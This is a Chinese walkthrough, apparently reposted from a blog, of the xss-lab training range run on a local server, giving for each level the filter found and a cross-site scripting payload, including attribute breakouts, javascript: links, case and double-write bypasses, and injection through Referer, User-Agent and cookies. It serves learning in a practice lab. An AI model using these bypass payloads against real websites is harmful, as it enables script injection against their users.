XSS靶场通关详解
前言
这里作者采用phpstudy部署的xss-lab靶场,配置如下:
第一关
进入靶场后寻找页面的传参处,发现url中的name参数传了test给页面,可以在此处进行尝试xss
成功弹窗!
payload:
<script>alert(1)</script>
第二关
可以发现第二关是表单的传参点
尝试失败,意识到第二关开启了拦截
查看网站源码发现被转义
查看源代码发现输出的str被编码了,但是input标签中的str没有被编码,因此我们最终需要把input标签进行闭合
此时我们可以构造payload闭合input标签
payload:
"><script>alert(1)</script>
第三关
使用第二关的payload发现全部被转义
补充一下htmlspecialchars函数的用法,这个函数可以将输入的特殊字符进行html实体编码
查看第三关源码发现这个函数没有加参数,所以只是对双引号和特殊字符进行编码,没有对单引号进行编码
所以可以尝试使用单引号进行闭合,后面的也不能出现标签了(因为标签的<>会被编码)单引号闭合属性之后可以对input标签单独写一个属性进行弹窗。
payload:
' onclick='alert(1)'
第四关
将第三关的payload打上去,查看源码发现前面多了一个双引号
尝试使用”进行闭合,直接弹窗
payload:
"' onclick='alert(1)'
第五关
使用第四关的payload进行尝试,发现事件被加_,此时给input标签增加属性这条路走不通了,可以尝试使用a标签
使用a标签之前需要将input标签进行闭合,可以使用"'>进行闭合,然后增加a标签
点击此处即可弹窗
payload:
"'> <a href='javascript:alert(1)'>
第六关
将第五关的payload输入发现href增加了_
可以尝试进行大写绕过过滤
payload:
"'> <a HREF='javascript:alert(1)'>
第七关
输入第六关的payload,发现其中的href和script都被替换了,可以尝试进行双写进行绕过
payload:
"'> <a hrehreff='javascscriptript:alert(1)'>
第八关
输入第七关的payload,发现将我们输入的内容作为了a标签的href值
尝试javascript:alert(1),发现被编码了,尝试使用
编码后成功弹窗
payload:
javascript:alert(1)
第九关
使用以上payload发现不能用,提示不是合法链接,输入http://baidu.com即可,说明此输入框中要输入http的合法链接
此时可以使用js中的注释符,将合法链接添加在注释中从而造成弹窗
payload:
javascript:alert(1)//http://www.baidu.com
将注释符前面的部分进行编码,否则还是不合法的链接,一下为编码后的payload:
javascript:alert(1)//http://www.baidu.com
第十关
尝试刚刚的payload发现不起作用,查看源码发现有三个隐藏的input框
尝试将值传给这三个隐藏的标签,执行以下url
http://127.0.0.1/xss/level10.php?keyword=1&t_link=2&t_history=3&t_sort=4
发现第三个标签的值被修改了
此时可以先将value值进行闭合然后添加onclick进行弹窗,由于后面将它隐藏了,可以在前面进行显示出来
payload:
http://127.0.0.1/xss/level10.php?keyword=1&t_sort='" type='text' onclick='alert(1)'
第十一关
尝试payload发现不行,隐藏标签也不行,但是有一个t_ref标签(联想到了referer)是存放着上一关的payload,可能存在xss
返回上一关进行抓包,在referer中插入payload进行xss或者使用hackbar修改referer
payload:
'" type='text' onclick='alert(1)'
第十二关
跟11关类似,这里的referer改为了user-agent,所以在ua尝试进行xss
payload:
'" type='text' onclick='alert(1)'
第十三关
跟11和12关类似,这里换成了cookie
payload:
user='" type='text' onclick='alert(1)'
第十四关
本关出错了,直接打15关即可
第十五关
本关需要用到一个新的属性
AngularJS ng-include 指令详解-CSDN博客
可以尝试让其包含第一关,这样第一关的xss可以直接用在这里
onmouseover事件是鼠标移动到元素上会触发弹窗
payload:
http://127.0.0.1/xss/level15.php?src='http://127.0.0.1/xss/level1.php?name=<img src=1 onmouseover=alert()>'
第十六关
发现本关将空格进行了编码
尝试使用回车符替换空格进行绕过,回车的url编码是%0a,使用%0a替换%20即可
payload:
<img%0asrc=1%0aonerror=alert(1)>
第十七关
embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容(现在不太常用此标签了)
思路:闭合前面的src标签然后添加事件属性
payload:
' onmouseover=alert(1)
第十八关
跟上一关一样
第十九关
这两关涉及flash触发的xss漏洞,现在 flash 技术全面停止使用了,所以就不做了
第二十关
这两关涉及flash触发的xss漏洞,现在 flash 技术全面停止使用了,所以就不做了
原文地址:https://blog.csdn.net/weixin_43433141/article/details/145283547
免责声明:本站文章内容转载自网络资源,如侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!